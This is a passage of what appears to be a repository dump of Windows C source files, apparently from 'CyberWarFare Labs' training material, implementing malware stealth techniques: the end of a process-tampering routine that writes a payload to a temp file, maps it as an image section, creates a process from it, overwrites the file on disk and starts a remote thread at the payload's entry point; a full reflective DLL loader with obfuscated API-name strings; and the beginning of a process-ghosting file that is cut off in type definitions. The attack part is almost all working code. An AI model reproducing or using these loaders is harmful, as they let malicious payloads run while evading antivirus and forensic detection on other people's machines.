CREATE_ALWAYS, 0, 0); 285 | WriteFile(hTemp, payload, payload_size, NULL, NULL); 286 | printf("write payload into temp file\n"); 287 | 288 | // CreateSection with temp file 289 | // SEC_IMAGE flag is set 290 | HANDLE hSection; 291 | _NtCreateSection pNtCreateSection = (_NtCreateSection)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateSection"); 292 | pNtCreateSection(&hSection, SECTION_ALL_ACCESS, NULL, 0, PAGE_READONLY, SEC_IMAGE, hTemp); 293 | printf("create section\n"); 294 | 295 | // Create Process with section 296 | HANDLE hProcess; 297 | _NtCreateProcessEx pNtCreateProcessEx = (_NtCreateProcessEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateProcessEx"); 298 | pNtCreateProcessEx(&hProcess, PROCESS_ALL_ACCESS, NULL, GetCurrentProcess(), 299 | PS_INHERIT_HANDLES, hSection, NULL, NULL, FALSE); 300 | printf("create process with section\n"); 301 | 302 | // Get remote process information 303 | PROCESS_BASIC_INFORMATION pbi; 304 | _NtQueryInformationProcess pNtQueryInformationProcess = (_NtQueryInformationProcess)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQueryInformationProcess"); 305 | pNtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(PROCESS_BASIC_INFORMATION), 0); 306 | printf("get remote process information\n"); 307 | 308 | // Retrieving entrypoint of our payload 309 | BYTE image[0x1000]; 310 | SIZE_T bytesRead; 311 | ZeroMemory(image, sizeof(image)); 312 | _NtReadVirtualMemory pNtReadVirtualMemory = (_NtReadVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtReadVirtualMemory"); 313 | pNtReadVirtualMemory(hProcess, pbi.PebBaseAddress, &image, sizeof(image), &bytesRead); 314 | 315 | _RtlImageNtHeader pRtlImageNtHeader = (_RtlImageNtHeader)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlImageNtHeader"); 316 | DWORD64 entryPoint = (pRtlImageNtHeader(payload)->OptionalHeader.AddressOfEntryPoint); 317 | entryPoint += (DWORD64)((PPEB)image)->ImageBase; 318 | printf("get entrypoint to payload: %llx\n", entryPoint); 319 | // DWORD64 entryPoint = GetEntryPoint(hProcess, payload, pbi); 320 | 321 | // Modify the file on disk 322 | SetFilePointer(hTemp, 0, 0, FILE_BEGIN); 323 | DWORD64 bufferSize = GetFileSize(hTemp, 0); 324 | bufferSize = 0x1000; 325 | wchar_t bytesToWrite[] = L"Hello From CyberWarFare Labs\n"; 326 | DWORD64 bytesWritten; 327 | while ((int)bufferSize > 0) 328 | { 329 | WriteFile(hTemp, bytesToWrite, sizeof(bytesToWrite), &bytesWritten, NULL); 330 | bufferSize -= bytesWritten; 331 | } 332 | printf("modify file on disk\n"); 333 | 334 | // Set Process Parameters 335 | _RtlInitUnicodeString pRtlInitUnicodeString = (_RtlInitUnicodeString)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlInitUnicodeString"); 336 | _RtlCreateProcessParametersEx pRtlCreateProcessParametersEx = (_RtlCreateProcessParametersEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlCreateProcessParametersEx"); 337 | 338 | PRTL_USER_PROCESS_PARAMETERS processParameters; 339 | UNICODE_STRING uTargetFilePath; 340 | UNICODE_STRING uDllPath; 341 | wchar_t targetFilePath[MAX_PATH] = {0}; 342 | lstrcpyW(targetFilePath, L"C:\\Windows\\System32\\notepad.exe"); 343 | pRtlInitUnicodeString(&uTargetFilePath, targetFilePath); 344 | wchar_t dllDir[] = L"C:\\Windows\\System32"; 345 | pRtlInitUnicodeString(&uDllPath, dllDir); 346 | pRtlCreateProcessParametersEx(&processParameters, &uTargetFilePath, &uDllPath, 347 | NULL, &uTargetFilePath, NULL, NULL, NULL, NULL, NULL, RTL_USER_PROC_PARAMS_NORMALIZED); 348 | 349 | _NtAllocateVirtualMemory pNtAllocateVirtualMemory = (_NtAllocateVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtAllocateVirtualMemory"); 350 | SIZE_T paramSize = processParameters->EnvironmentSize + processParameters->MaximumLength; 351 | PVOID paramBuffer = processParameters; 352 | pNtAllocateVirtualMemory(hProcess, ¶mBuffer, 0, ¶mSize, 353 | MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); 354 | 355 | _NtWriteVirtualMemory pNtWriteVirtualMemory = (_NtWriteVirtualMemory)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtWriteVirtualMemory"); 356 | pNtWriteVirtualMemory(hProcess, processParameters, processParameters, 357 | processParameters->EnvironmentSize + processParameters->MaximumLength, NULL); 358 | printf("set process parameters\n"); 359 | 360 | // Getting Remote PEB address 361 | PPEB remotePEB = (PPEB)pbi.PebBaseAddress; 362 | WriteProcessMemory(hProcess, &remotePEB->ProcessParameters, &processParameters, sizeof(PVOID), NULL); 363 | printf("get remote peb address \n"); 364 | 365 | HANDLE hThread; 366 | _NtCreateThreadEx pNtCreateThreadEx = (_NtCreateThreadEx)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtCreateThreadEx"); 367 | pNtCreateThreadEx(&hThread, THREAD_ALL_ACCESS, NULL, hProcess, 368 | (LPTHREAD_START_ROUTINE)entryPoint, NULL, FALSE, 0, 0, 0, 0); 369 | printf("create thread \n"); 370 | 371 | CloseHandle(hTemp); 372 | return TRUE; 373 | 374 | return 0; 375 | } -------------------------------------------------------------------------------- /dll_reflective_loader_64.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | typedef struct _LSA_UNICODE_STRING 4 | { 5 | USHORT Length; 6 | USHORT MaximumLength; 7 | PWSTR Buffer; 8 | } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING; 9 | 10 | typedef struct _OBJECT_ATTRIBUTES 11 | { 12 | ULONG Length; 13 | HANDLE RootDirectory; 14 | PUNICODE_STRING ObjectName; 15 | ULONG Attributes; 16 | PVOID SecurityDescriptor; 17 | PVOID SecurityQualityOfService; 18 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 19 | 20 | typedef struct _LDR_MODULE 21 | { 22 | LIST_ENTRY InLoadOrderModuleList; 23 | LIST_ENTRY InMemoryOrderModuleList; 24 | LIST_ENTRY InInitializationOrderModuleList; 25 | PVOID BaseAddress; 26 | PVOID EntryPoint; 27 | ULONG SizeOfImage; 28 | UNICODE_STRING FullDllName; 29 | UNICODE_STRING BaseDllName; 30 | ULONG Flags; 31 | SHORT LoadCount; 32 | SHORT TlsIndex; 33 | LIST_ENTRY HashTableEntry; 34 | ULONG TimeDateStamp; 35 | } LDR_MODULE, *PLDR_MODULE; 36 | 37 | typedef struct _PEB_LDR_DATA 38 | { 39 | ULONG Length; 40 | ULONG Initialized; 41 | PVOID SsHandle; 42 | LIST_ENTRY InLoadOrderModuleList; 43 | LIST_ENTRY InMemoryOrderModuleList; 44 | LIST_ENTRY InInitializationOrderModuleList; 45 | } PEB_LDR_DATA, *PPEB_LDR_DATA; 46 | 47 | typedef struct _CURDIR 48 | { 49 | UNICODE_STRING DosPath; 50 | PVOID Handle; 51 | } CURDIR, *PCURDIR; 52 | 53 | typedef struct _STRING 54 | { 55 | USHORT Length; 56 | USHORT MaximumLength; 57 | PCHAR Buffer; 58 | } ANSI_STRING, *PANSI_STRING; 59 | 60 | typedef struct _RTL_DRIVE_LETTER_CURDIR 61 | { 62 | WORD Flags; 63 | WORD Length; 64 | ULONG TimeStamp; 65 | ANSI_STRING DosPath; 66 | } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; 67 | 68 | typedef struct _RTL_USER_PROCESS_PARAMETERS 69 | { 70 | ULONG MaximumLength; 71 | ULONG Length; 72 | ULONG Flags; 73 | ULONG DebugFlags; 74 | PVOID ConsoleHandle; 75 | ULONG ConsoleFlags; 76 | PVOID StandardInput; 77 | PVOID StandardOutput; 78 | PVOID StandardError; 79 | CURDIR CurrentDirectory; 80 | UNICODE_STRING DllPath; 81 | UNICODE_STRING ImagePathName; 82 | UNICODE_STRING CommandLine; 83 | PVOID Environment; 84 | ULONG StartingX; 85 | ULONG StartingY; 86 | ULONG CountX; 87 | ULONG CountY; 88 | ULONG CountCharsX; 89 | ULONG CountCharsY; 90 | ULONG FillAttribute; 91 | ULONG WindowFlags; 92 | ULONG ShowWindowFlags; 93 | UNICODE_STRING WindowTitle; 94 | UNICODE_STRING DesktopInfo; 95 | UNICODE_STRING ShellInfo; 96 | UNICODE_STRING RuntimeData; 97 | RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; 98 | ULONG EnvironmentSize; 99 | } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; 100 | 101 | typedef struct _PEB 102 | { 103 | BOOLEAN InheritedAddressSpace; 104 | BOOLEAN ReadImageFileExecOptions; 105 | BOOLEAN BeingDebugged; 106 | BOOLEAN Spare; 107 | HANDLE Mutant; 108 | PVOID ImageBase; 109 | PPEB_LDR_DATA LoaderData; 110 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 111 | PVOID SubSystemData; 112 | PVOID ProcessHeap; 113 | PVOID FastPebLock; 114 | PVOID FastPebLockRoutine; 115 | PVOID FastPebUnlockRoutine; 116 | ULONG EnvironmentUpdateCount; 117 | PVOID *KernelCallbackTable; 118 | PVOID EventLogSection; 119 | PVOID EventLog; 120 | PVOID FreeList; 121 | ULONG TlsExpansionCounter; 122 | PVOID TlsBitmap; 123 | ULONG TlsBitmapBits[0x2]; 124 | PVOID ReadOnlySharedMemoryBase; 125 | PVOID ReadOnlySharedMemoryHeap; 126 | PVOID *ReadOnlyServerData; 127 | PVOID AnsiCodePageData; 128 | PVOID OemCodePageData; 129 | PVOID UnicodeCaseTableData; 130 | ULONG NumberOfProcessors; 131 | ULONG NtGlobalFlag; 132 | BYTE Spare2[0x4]; 133 | LARGE_INTEGER CriticalSectionTimeout; 134 | ULONG HeapSegmentReserve; 135 | ULONG HeapSegmentCommit; 136 | ULONG HeapDeCommitTotalFreeThreshold; 137 | ULONG HeapDeCommitFreeBlockThreshold; 138 | ULONG NumberOfHeaps; 139 | ULONG MaximumNumberOfHeaps; 140 | PVOID **ProcessHeaps; 141 | PVOID GdiSharedHandleTable; 142 | PVOID ProcessStarterHelper; 143 | PVOID GdiDCAttributeList; 144 | PVOID LoaderLock; 145 | ULONG OSMajorVersion; 146 | ULONG OSMinorVersion; 147 | ULONG OSBuildNumber; 148 | ULONG OSPlatformId; 149 | ULONG ImageSubSystem; 150 | ULONG ImageSubSystemMajorVersion; 151 | ULONG ImageSubSystemMinorVersion; 152 | ULONG GdiHandleBuffer[0x22]; 153 | ULONG PostProcessInitRoutine; 154 | ULONG TlsExpansionBitmap; 155 | BYTE TlsExpansionBitmapBits[0x80]; 156 | ULONG SessionId; 157 | } PEB, *PPEB; 158 | 159 | typedef struct BASE_RELOCATION_BLOCK 160 | { 161 | DWORD PageAddress; 162 | DWORD BlockSize; 163 | } BASE_RELOCATION_BLOCK, *PBASE_RELOCATION_BLOCK; 164 | 165 | typedef struct BASE_RELOCATION_ENTRY 166 | { 167 | USHORT Offset : 12; 168 | USHORT Type : 4; 169 | } BASE_RELOCATION_ENTRY, *PBASE_RELOCATION_ENTRY; 170 | 171 | /// 172 | 173 | __declspec(noinline) static DWORD64 get_current_address(VOID) 174 | { 175 | return (DWORD64)__builtin_extract_return_addr(__builtin_return_address(0)); 176 | } 177 | 178 | inline void zero_memory(DWORD64 Destination, SIZE_T Size) 179 | { 180 | PULONG Dest = (PULONG)Destination; 181 | SIZE_T Count = Size / sizeof(ULONG); 182 | 183 | while (Count > 0) 184 | { 185 | *Dest = 0; 186 | Dest++; 187 | Count--; 188 | } 189 | } 190 | 191 | inline SIZE_T wchar_to_char(PCHAR Destination, PWCHAR Source, SIZE_T MaximumAllowed) 192 | { 193 | INT Length = (INT)MaximumAllowed; 194 | 195 | while (--Length >= 0) 196 | { 197 | if (!(*Destination++ = *Source++)) 198 | return MaximumAllowed - Length - 1; 199 | } 200 | 201 | return MaximumAllowed - Length; 202 | } 203 | 204 | inline INT string_compare_a(LPCSTR String1, LPCSTR String2) 205 | { 206 | for (; *String1 == *String2; String1++, String2++) 207 | { 208 | if (*String1 == '\0') 209 | return 0; 210 | } 211 | 212 | return ((*(LPCSTR)String1 < *(LPCSTR)String2) ? -1 : +1); 213 | } 214 | 215 | inline DWORD64 get_module_handle_a(char *lpModuleName) 216 | { 217 | PPEB Peb = (PPEB)__readgsqword(0x60); 218 | PLDR_MODULE Module = NULL; 219 | CHAR wDllName[64] = {0}; 220 | PLIST_ENTRY Head = &Peb->LoaderData->InMemoryOrderModuleList; 221 | PLIST_ENTRY Next = Head->Flink; 222 | Module = (PLDR_MODULE)((PBYTE)Next - 16); 223 | 224 | while (Next != Head) 225 | { 226 | Module = (PLDR_MODULE)((PBYTE)Next - 16); 227 | if (Module->BaseDllName.Buffer != NULL) 228 | { 229 | zero_memory((DWORD64)wDllName, sizeof(wDllName)); 230 | wchar_to_char(wDllName, Module->BaseDllName.Buffer, 64); 231 | if (string_compare_a(lpModuleName, wDllName) == 0) 232 | return (DWORD64)Module->BaseAddress; 233 | } 234 | Next = Next->Flink; 235 | } 236 | 237 | return 0; 238 | } 239 | 240 | inline BOOL rtl_load_pe_headers(PIMAGE_DOS_HEADER *Dos, PIMAGE_NT_HEADERS *Nt, PIMAGE_FILE_HEADER *File, PIMAGE_OPTIONAL_HEADER *Optional, PBYTE *ImageBase) 241 | { 242 | *Dos = (PIMAGE_DOS_HEADER)*ImageBase; 243 | if ((*Dos)->e_magic != IMAGE_DOS_SIGNATURE) 244 | return FALSE; 245 | 246 | *Nt = (PIMAGE_NT_HEADERS)((PBYTE)*Dos + (*Dos)->e_lfanew); 247 | if ((*Nt)->Signature != IMAGE_NT_SIGNATURE) 248 | return FALSE; 249 | 250 | *File = (PIMAGE_FILE_HEADER)(*ImageBase + (*Dos)->e_lfanew + sizeof(DWORD)); 251 | *Optional = (PIMAGE_OPTIONAL_HEADER)((PBYTE)*File + sizeof(IMAGE_FILE_HEADER)); 252 | 253 | return TRUE; 254 | } 255 | 256 | inline DWORD64 get_proc_address_a(DWORD64 ModuleBase, LPCSTR lpProcName) 257 | { 258 | PBYTE pFunctionName = NULL; 259 | PIMAGE_DOS_HEADER Dos = NULL; 260 | PIMAGE_NT_HEADERS Nt = NULL; 261 | PIMAGE_FILE_HEADER File = NULL; 262 | PIMAGE_OPTIONAL_HEADER Optional = NULL; 263 | 264 | rtl_load_pe_headers(&Dos, &Nt, &File, &Optional, (PBYTE *)&ModuleBase); 265 | 266 | IMAGE_EXPORT_DIRECTORY *ExportTable = (PIMAGE_EXPORT_DIRECTORY)(ModuleBase + Optional->DataDirectory[0].VirtualAddress); 267 | PDWORD FunctionNameAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNames); 268 | PDWORD FunctionAddressArray = (PDWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfFunctions); 269 | PWORD FunctionOrdinalAddressArray = (PWORD)((LPBYTE)ModuleBase + ExportTable->AddressOfNameOrdinals); 270 | 271 | for (DWORD dwX = 0; dwX < ExportTable->NumberOfNames; dwX++) 272 | { 273 | pFunctionName = FunctionNameAddressArray[dwX] + (PBYTE)ModuleBase; 274 | if (string_compare_a((PCHAR)pFunctionName, lpProcName) == 0) 275 | return ((DWORD64)ModuleBase + FunctionAddressArray[FunctionOrdinalAddressArray[dwX]]); 276 | } 277 | 278 | return 0; 279 | } 280 | 281 | inline DWORD64 copy_memory(DWORD64 Destination, DWORD64 Source, SIZE_T Length) 282 | { 283 | PBYTE D = (PBYTE)Destination; 284 | PBYTE S = (PBYTE)Source; 285 | 286 | while (Length--) 287 | *D++ = *S++; 288 | 289 | return Destination; 290 | } 291 | 292 | typedef HMODULE(WINAPI *LOADLIBRARYA)(LPCSTR); 293 | typedef FARPROC(WINAPI *GETPROCADDRESS)(HMODULE, LPCSTR); 294 | typedef LPVOID(WINAPI *VIRTUALALLOC)(LPVOID, SIZE_T, DWORD, DWORD); 295 | typedef BOOL(WINAPI *entry_DLLMAIN)(HINSTANCE, DWORD, LPVOID); 296 | 297 | void ReflectiveLoader() 298 | { 299 | // 0. calculate image address 300 | 301 | DWORD64 dll_image_address; 302 | PIMAGE_NT_HEADERS nt_headers_address; 303 | 304 | dll_image_address = get_current_address(); 305 | 306 | while (TRUE) 307 | { 308 | if (((PIMAGE_DOS_HEADER)dll_image_address)->e_magic == IMAGE_DOS_SIGNATURE) 309 | { 310 | nt_headers_address = (PIMAGE_NT_HEADERS)(dll_image_address + ((PIMAGE_DOS_HEADER)dll_image_address)->e_lfanew); 311 | if (nt_headers_address->Signature == IMAGE_NT_SIGNATURE) 312 | break; 313 | } 314 | dll_image_address--; 315 | } 316 | 317 | // 1. resolve system functions 318 | 319 | char KERNEL32_DLL_string[] = {'\x4b', '\x45', '\x52', '\x4e', '\x45', '\x4c', '\x33', '\x32', '\x2e', '\x44', '\x4c', '\x4c', 0}; // KERNEL32.DLL 320 | char VirtualAlloc_string[] = {'\x56', '\x69', '\x72', '\x74', '\x75', '\x61', '\x6c', '\x41', '\x6c', '\x6c', '\x6f', '\x63', 0}; // VirtualAlloc 321 | char GetProcAddress_string[] = {'\x47', '\x65', '\x74', '\x50', '\x72', '\x6f', '\x63', '\x41', '\x64', '\x64', '\x72', '\x65', '\x73', '\x73', 0}; // GetProcAddress 322 | char LoadLibraryA_string[] = {'\x4c', '\x6f', '\x61', '\x64', '\x4c', '\x69', '\x62', '\x72', '\x61', '\x72', '\x79', '\x41', 0}; // LoadLibraryA 323 | 324 | DWORD64 kernel32 = get_module_handle_a(KERNEL32_DLL_string); 325 | LOADLIBRARYA pLoadLibraryA = (LOADLIBRARYA)get_proc_address_a(kernel32, LoadLibraryA_string); 326 | GETPROCADDRESS pGetProcAddress = (GETPROCADDRESS)get_proc_address_a(kernel32, GetProcAddress_string); 327 | VIRTUALALLOC pVirtualAlloc = (VIRTUALALLOC)get_proc_address_a(kernel32, VirtualAlloc_string); 328 | 329 | // 2. allocate memory for loading dll 330 | DWORD64 dll_base = (DWORD64)pVirtualAlloc(NULL, nt_headers_address->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); 331 | 332 | // 3. copy headers 333 | copy_memory(dll_base, dll_image_address, nt_headers_address->OptionalHeader.SizeOfHeaders); 334 | 335 | // 4. copy sections 336 | DWORD64 section_virtual_address; 337 | DWORD64 section_data_address; 338 | PIMAGE_SECTION_HEADER section_header_address = IMAGE_FIRST_SECTION(nt_headers_address); 339 | for (; section_header_address->VirtualAddress != (DWORD64)NULL; section_header_address++) 340 | { 341 | section_virtual_address = dll_base + section_header_address->VirtualAddress; 342 | section_data_address = dll_image_address + section_header_address->PointerToRawData; 343 | copy_memory(section_virtual_address, section_data_address, section_header_address->SizeOfRawData); 344 | } 345 | 346 | // 5. resolve import address table 347 | IMAGE_DATA_DIRECTORY imports_data_directory = nt_headers_address->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT]; 348 | PIMAGE_IMPORT_DESCRIPTOR import_descriptor = (PIMAGE_IMPORT_DESCRIPTOR)(dll_base + imports_data_directory.VirtualAddress); 349 | LPCSTR library_name; 350 | HMODULE library_address; 351 | PIMAGE_THUNK_DATA thunk_data_address; 352 | PIMAGE_IMPORT_BY_NAME import_by_name_address; 353 | 354 | for (; import_descriptor->Name != (DWORD64)NULL; import_descriptor++) 355 | { 356 | library_name = (LPCSTR)(dll_base + import_descriptor->Name); 357 | library_address = pLoadLibraryA(library_name); 358 | 359 | if (library_address) 360 | { 361 | thunk_data_address = (PIMAGE_THUNK_DATA)(dll_base + import_descriptor->FirstThunk); 362 | 363 | for (; thunk_data_address->u1.AddressOfData != (DWORD64)NULL; thunk_data_address++) 364 | { 365 | import_by_name_address = (PIMAGE_IMPORT_BY_NAME)(dll_base + thunk_data_address->u1.AddressOfData); 366 | thunk_data_address->u1.Function = (DWORD64)pGetProcAddress(library_address, import_by_name_address->Name); 367 | } 368 | } 369 | } 370 | 371 | // 6. process all relocations 372 | 373 | // dummy_va = dummy_base + rva 374 | // dummy_va - dummy_base = rva 375 | // (dummy_va - dummy_base) + true_base = rva + true_base 376 | // dummy_va + (true_base - dummy_base) = rva + true_base 377 | 378 | DWORD64 base_diff = dll_base - nt_headers_address->OptionalHeader.ImageBase; // true_base - dummy_base 379 | 380 | IMAGE_DATA_DIRECTORY reloc_data_directory = nt_headers_address->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC]; 381 | PIMAGE_BASE_RELOCATION base_reloc_address; 382 | PBASE_RELOCATION_ENTRY reloc_entry_address; 383 | DWORD64 reloc_block_address; 384 | DWORD64 reloc_block_entry_count; 385 | 386 | // check if any relocations present 387 | if (reloc_data_directory.Size) 388 | { 389 | base_reloc_address = (PIMAGE_BASE_RELOCATION)(dll_base + reloc_data_directory.VirtualAddress); 390 | 391 | while (base_reloc_address->SizeOfBlock) 392 | { 393 | reloc_block_address = dll_base + base_reloc_address->VirtualAddress; 394 | reloc_block_entry_count = (base_reloc_address->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(BASE_RELOCATION_ENTRY); 395 | 396 | reloc_entry_address = (PBASE_RELOCATION_ENTRY)((DWORD64)base_reloc_address + sizeof(IMAGE_BASE_RELOCATION)); 397 | while (reloc_block_entry_count--) 398 | { 399 | if (reloc_entry_address->Type == IMAGE_REL_BASED_DIR64) 400 | *(DWORD64 *)(reloc_block_address + reloc_entry_address->Offset) += base_diff; // reloc_entry = dummy_va + (true_base - dummy_base) 401 | 402 | reloc_entry_address = (PBASE_RELOCATION_ENTRY)((DWORD64)reloc_entry_address + sizeof(BASE_RELOCATION_ENTRY)); 403 | } 404 | 405 | base_reloc_address = (PIMAGE_BASE_RELOCATION)((DWORD64)base_reloc_address + base_reloc_address->SizeOfBlock); 406 | } 407 | } 408 | 409 | // 7. call entry point 410 | 411 | DWORD64 entrypoint_address = dll_base + nt_headers_address->OptionalHeader.AddressOfEntryPoint; 412 | 413 | ((entry_DLLMAIN)entrypoint_address)((HINSTANCE)dll_base, DLL_PROCESS_ATTACH, NULL); 414 | } 415 | 416 | BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) 417 | { 418 | MessageBoxA(NULL, "Hello from DllMain!", "Reflective Dll Injection", MB_OK); 419 | return TRUE; 420 | } 421 | -------------------------------------------------------------------------------- /pe_process_ghosting.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define OBJ_CASE_INSENSITIVE 0x00000040 4 | #define FILE_SYNCHRONOUS_IO_NONALERT 0x00000020 5 | #define FILE_SUPERSEDED 0x00000000 6 | #define RTL_USER_PROC_PARAMS_NORMALIZED 0x00000001 7 | #define PS_INHERIT_HANDLES 4 8 | 9 | typedef struct _LSA_UNICODE_STRING 10 | { 11 | USHORT Length; 12 | USHORT MaximumLength; 13 | PWSTR Buffer; 14 | } LSA_UNICODE_STRING, *PLSA_UNICODE_STRING, UNICODE_STRING, *PUNICODE_STRING; 15 | 16 | typedef struct _PEB_LDR_DATA 17 | { 18 | ULONG Length; 19 | ULONG Initialized; 20 | PVOID SsHandle; 21 | LIST_ENTRY InLoadOrderModuleList; 22 | LIST_ENTRY InMemoryOrderModuleList; 23 | LIST_ENTRY InInitializationOrderModuleList; 24 | } PEB_LDR_DATA, *PPEB_LDR_DATA; 25 | 26 | typedef struct _LDR_MODULE 27 | { 28 | LIST_ENTRY InLoadOrderModuleList; 29 | LIST_ENTRY InMemoryOrderModuleList; 30 | LIST_ENTRY InInitializationOrderModuleList; 31 | PVOID BaseAddress; 32 | PVOID EntryPoint; 33 | ULONG SizeOfImage; 34 | UNICODE_STRING FullDllName; 35 | UNICODE_STRING BaseDllName; 36 | ULONG Flags; 37 | SHORT LoadCount; 38 | SHORT TlsIndex; 39 | LIST_ENTRY HashTableEntry; 40 | ULONG TimeDateStamp; 41 | } LDR_MODULE, *PLDR_MODULE; 42 | 43 | typedef struct _CURDIR 44 | { 45 | UNICODE_STRING DosPath; 46 | PVOID Handle; 47 | } CURDIR, *PCURDIR; 48 | 49 | typedef struct _STRING 50 | { 51 | USHORT Length; 52 | USHORT MaximumLength; 53 | PCHAR Buffer; 54 | } ANSI_STRING, *PANSI_STRING; 55 | 56 | typedef struct _RTL_DRIVE_LETTER_CURDIR 57 | { 58 | WORD Flags; 59 | WORD Length; 60 | ULONG TimeStamp; 61 | ANSI_STRING DosPath; 62 | } RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; 63 | 64 | typedef struct _RTL_USER_PROCESS_PARAMETERS 65 | { 66 | ULONG MaximumLength; 67 | ULONG Length; 68 | ULONG Flags; 69 | ULONG DebugFlags; 70 | PVOID ConsoleHandle; 71 | ULONG ConsoleFlags; 72 | PVOID StandardInput; 73 | PVOID StandardOutput; 74 | PVOID StandardError; 75 | CURDIR CurrentDirectory; 76 | UNICODE_STRING DllPath; 77 | UNICODE_STRING ImagePathName; 78 | UNICODE_STRING CommandLine; 79 | PVOID Environment; 80 | ULONG StartingX; 81 | ULONG StartingY; 82 | ULONG CountX; 83 | ULONG CountY; 84 | ULONG CountCharsX; 85 | ULONG CountCharsY; 86 | ULONG FillAttribute; 87 | ULONG WindowFlags; 88 | ULONG ShowWindowFlags; 89 | UNICODE_STRING WindowTitle; 90 | UNICODE_STRING DesktopInfo; 91 | UNICODE_STRING ShellInfo; 92 | UNICODE_STRING RuntimeData; 93 | RTL_DRIVE_LETTER_CURDIR CurrentDirectores[32]; 94 | ULONG EnvironmentSize; 95 | } RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; 96 | 97 | typedef struct _PEB 98 | { 99 | BOOLEAN InheritedAddressSpace; 100 | BOOLEAN ReadImageFileExecOptions; 101 | BOOLEAN BeingDebugged; 102 | BOOLEAN Spare; 103 | HANDLE Mutant; 104 | PVOID ImageBase; 105 | PPEB_LDR_DATA LoaderData; 106 | PRTL_USER_PROCESS_PARAMETERS ProcessParameters; 107 | PVOID SubSystemData; 108 | PVOID ProcessHeap; 109 | PVOID FastPebLock; 110 | PVOID FastPebLockRoutine; 111 | PVOID FastPebUnlockRoutine; 112 | ULONG EnvironmentUpdateCount; 113 | PVOID *KernelCallbackTable; 114 | PVOID EventLogSection; 115 | PVOID EventLog; 116 | PVOID FreeList; 117 | ULONG TlsExpansionCounter; 118 | PVOID TlsBitmap; 119 | ULONG TlsBitmapBits[0x2]; 120 | PVOID ReadOnlySharedMemoryBase; 121 | PVOID ReadOnlySharedMemoryHeap; 122 | PVOID *ReadOnlyStaticServerData; 123 | PVOID AnsiCodePageData; 124 | PVOID OemCodePageData; 125 | PVOID UnicodeCaseTableData; 126 | ULONG NumberOfProcessors; 127 | ULONG NtGlobalFlag; 128 | BYTE Spare2[0x4]; 129 | LARGE_INTEGER CriticalSectionTimeout; 130 | ULONG HeapSegmentReserve; 131 | ULONG HeapSegmentCommit; 132 | ULONG HeapDeCommitTotalFreeThreshold; 133 | ULONG HeapDeCommitFreeBlockThreshold; 134 | ULONG NumberOfHeaps; 135 | ULONG MaximumNumberOfHeaps; 136 | PVOID **ProcessHeaps; 137 | PVOID GdiSharedHandleTable; 138 | PVOID ProcessStarterHelper; 139 | PVOID GdiDCAttributeList; 140 | PVOID LoaderLock; 141 | ULONG OSMajorVersion; 142 | ULONG OSMinorVersion; 143 | ULONG OSBuildNumber; 144 | ULONG OSPlatformId; 145 | ULONG ImageSubSystem; 146 | ULONG ImageSubSystemMajorVersion; 147 | ULONG ImageSubSystemMinorVersion; 148 | ULONG GdiHandleBuffer[0x22]; 149 | ULONG PostProcessInitRoutine; 150 | ULONG TlsExpansionBitmap; 151 | BYTE TlsExpansionBitmapBits[0x80]; 152 | ULONG SessionId; 153 | } PEB, *PPEB; 154 | 155 | typedef struct _OBJECT_ATTRIBUTES 156 | { 157 | ULONG Length; 158 | HANDLE RootDirectory; 159 | PUNICODE_STRING ObjectName; 160 | ULONG Attributes; 161 | PVOID SecurityDescriptor; 162 | PVOID SecurityQualityOfService; 163 | } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES; 164 | 165 | #define InitializeObjectAttributes(i, o, a, r, s) \ 166 | { \ 167 | (i)->Length = sizeof(OBJECT_ATTRIBUTES); \ 168 | (i)->RootDirectory = r; \ 169 | (i)->Attributes = a; \ 170 | (i)->ObjectName = o; \ 171 | (i)->SecurityDescriptor = s; \ 172 | (i)->SecurityQualityOfService = NULL; \ 173 | } 174 | typedef struct _IO_STATUS_BLOCK 175 | { 176 | union 177 | { 178 | NTSTATUS Status; 179 | PVOID Pointer; 180 | }; 181 | ULONG_PTR Information; 182 | } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK; 183 | 184 | typedef struct _FILE_DISPOSITION_INFORMATION 185 | { 186 | BOOLEAN DeleteFile; 187 | } FILE_DISPOSITION_INFORMATION, *PFILE_DISPOSITION_INFORMATION; 188 | 189 | typedef struct _PROCESS_BASIC_INFORMATION 190 | { 191 | PVOID Reserved1; 192 | PPEB PebBaseAddress; 193 | PVOID Reserved2[2]; 194 | ULONG_PTR UniqueProcessId; 195 | PVOID Reserved3; 196 | } PROCESS_BASIC_INFORMATION; 197 | 198 | typedef enum _FILE_INFORMATION_CLASS 199 | { 200 | FileDirectoryInformation = 1, // FILE_DIRECTORY_INFORMATION 201 | FileFullDirectoryInformation, // FILE_FULL_DIR_INFORMATION 202 | FileBothDirectoryInformation, // 